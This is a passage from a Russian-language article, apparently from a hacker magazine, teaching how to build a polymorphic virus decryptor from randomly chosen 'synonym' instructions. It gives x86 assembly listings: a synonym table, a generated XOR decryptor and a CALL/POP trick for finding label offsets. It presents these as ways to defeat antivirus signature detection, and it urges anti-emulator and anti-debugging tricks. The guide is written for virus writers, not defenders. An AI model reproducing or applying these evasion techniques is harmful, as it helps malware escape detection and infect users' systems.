Ступень2: расшифровщик из кирпичиков
Идея: расшифровщик вируса имеет постоянный алгоритм, но состоит из произвольно выбираемой последовательности команд. Звучит страшновато, но реализуется тривиально. Возьмем в качестве наглядно-агитационного пособия расшифровщик, изображенный на листинге 4. А теперь попробуем подобрать синонимы для каждой из слагающих его машинных команд (заботится об оптимизации необязательно). Получится примерно так:
MOV ESI,offset body_begin à LEA ESI,body_begin;MOV ESI,offset body_begin-1/INC ESI;
MOV EDI, ESI à PUSH ESI/POP EDI; XOR EDI,EDI/ADD EDI,ESI;
LODSB à MOV AL,[ESI]/INC ESI; SUB AL,AL/SUB AL,[ESI]/NOT AL/INC ESI/ADD AL,1
XOR AL,66h à XOR AL, 6/XOR AL, 60h
…
Листинг 6 инструкции и их синонимы
Для каждой из команд шифровщика мы будем выбирать случайную последовательность "синонимов", как бы собирая шифровщик из кирпичиков. Результат нашей работы может выглядеть, например, так:
LEA ESI, body_begin
PUSH ESI
POP EDI
MOV ECX, offset body_end - body_begin + 2
DEC ECX
DEC ECX
my_begin:
MOV AL,[ESI]
INC ESI
XOR AL, 6
XOR AL, 66
MOV [EDI], AL
SUB EDI,-1
ADD ECX,-1
JNZ my_begin
Листинг 7 случайно сгенерированный расшифровщик
Поскольку, "синонимы" команд подготавливаются вручную еще на этапе ассемблирования, автоматически определять их длины совсем необязательно! Реализация получается простая как два пальца. Единственную проблему представляют метки. Как видно, и абсолютное, и относительное смещение my_begin изменилось. Мы не можем, не имеет права на этапе ассемблирования подставлять в команду JNZ смещение my_begin, поскольку оно будет указывать в космос. Что делать? Вот одно из решений проблемы. Вместо метки подставляем команду сохранения текущего EIP в один из свободных регистров общего назначения, а затем прыгаем на него:
my_begin:
CALL
$+5 ; прыгаем на следующую команду, занося EIP
в стек
POP EBX ; выталкиваем EIP из стека
PUSH EBX ; ( как вариант, можно дать INC EBX)
...
JNZ
$+4 ; выход из расшифровщика
JMP EBX ; переход на my_begin с динамич
Листинг 8 автоматическое определение смещений меток
На первый взгляд, каждое последующее поколение вируса выглядит полностью непохожим на предыдущее и по сигнатурам он уже не детектируется. Ведь если подобрать побольше команд-синонимов, количество возможных комбинаций может составить не один миллион. Тресни моя антивирусная база! Тем не менее, в каждой позиции расшифровщика встречается строго определенная комбинаций команд, поэтому специальный алгоритм отождествления сможет надежно ее распознать. Естественно, для этого антивирусникам придется потрудиться и запастись хорошей травой. Был как-то у одной такой компании мешок отменной травы, так за месяц скурили! Ну это ладно.
Не стоит забывать и про эмулятор. Расшифровав основной код вируса, разработчики запросто отождествят его по сигнатуре. Поэтому, антиотладочные приемы должны быть! Здесь за уникальность можно уже не опасаться (команды-синонимы делают свое), оттянувшись на полную катушку со всем набором SSE и прочих векторных команд, до которых антивирусным эмуляторам еще ползти и ползти…